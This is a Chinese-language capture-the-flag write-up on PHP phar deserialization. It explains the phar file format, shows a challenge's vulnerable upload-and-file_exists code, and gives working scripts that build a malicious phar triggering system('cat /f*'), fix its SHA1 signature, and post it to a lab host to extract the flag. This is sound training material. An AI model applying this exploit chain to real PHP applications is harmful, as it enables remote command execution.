目录
Phar文件主要部分:
1. stub 文件标识
stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。(这里我们可以伪造一个图片文件或者pdf
文件来绕过一些上传限制)
2. manifest
Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存(当文件操作函数通过phar://
伪协议解析phar
文件时就会将数据反序列化)
3. contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
4.signature
phar的最后有一段signature,是phar的签名,放在文件末尾,如果我们修改了文件的内容,之前的签名就会无效,就需要更换一个新的签名
在文件系统函数(file_exists()、is_dir()等详见下表)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
题目:
打开源码提示cookie,抓包发现pairing.php文件
访问文件得到源码如下:
<?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $pass;
public $eating;
public $God='false';
public function __wakeup(){
$this->user='human';
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
}
}
public function __construct(){
$this->user='AshenOne';
$this->eating='fire';
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
echo '多吃雪梨';
}
其中后部分提取到关键信息有:
if(isset($_GET['pear'])&&isset($_GET['apple'])){
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input'); //获取post的数据并赋给$file
file_put_contents($pear,urldecode($file)); //写文件,文件名是$pear,内容是$file
file_exists($Adam); //phar反序列化触发点
}
在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作, 所以 file_exists($Adam); 是phar反序列化触发点
我们最终想要执行的代码是__destruct()里面的
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);}
phar文件生成:
<?php
class story{
public $eating = 'cat /f*'; //赋值要执行的命令
public $God='true'; //满足if条件
}
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>"); //设置stub
$o = new story();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
因为重新赋值修改了文件的内容,之前的签名就会无效,所以需要更换一个新的签名,签名用sha1加密,生成新签名的脚本如下:
from hashlib import sha1
with open('1.phar', 'rb') as file:
f = file.read() #打开名为1.phar的文件,以二进制只读模式读取文件内容,并将其存储到变量f中
s = f[:-28] # 获取要签名的数据(s)
h = f[-8:] # 获取签名类型和GBMB标识(h)
newf = s + sha1(s).digest() + h # 对要签名的数据进行SHA-1哈希计算,并将原始数据、签名和类型/标识拼接成新的数据newf
with open('newtest.phar', 'wb') as file:
file.write(newf)# 将处理后的数据newf写入到一个名为newtest.phar的新文件中,以二进制写入模式。
最后读取 newtest.phar
的内容进行url编码post传上去,get传 ?pear=1.phar&apple=phar://1.phar
即可
也可以用python脚本让后面两步并作一步直接完成修改签名和上传
from hashlib import sha1
import urllib.parse
import os
import re
import requests
pattern = r'flag\{.+?\}'
url="http://87ab80e5-0c08-4d4f-a179-2718e0526959.node4.buuoj.cn:81/"#替换为题目靶机地址params={
'pear':'1.phar',
'apple':'phar://1.phar'}
if os.path.exists('1.phar'):
with open('1.phar', 'rb') as file:
f = file.read()
s = f[:-28]
h = f[-8:]
newf = s + sha1(s).digest() + h
with open('newtest.phar', 'wb') as file:
file.write(newf)
os.remove('1.phar')with open('newtest.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
# print(ff)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
matches = re.findall(pattern, fin.text)
for match in matches:
print(match)
# os.remove('newtest.phar')
参考官方wp: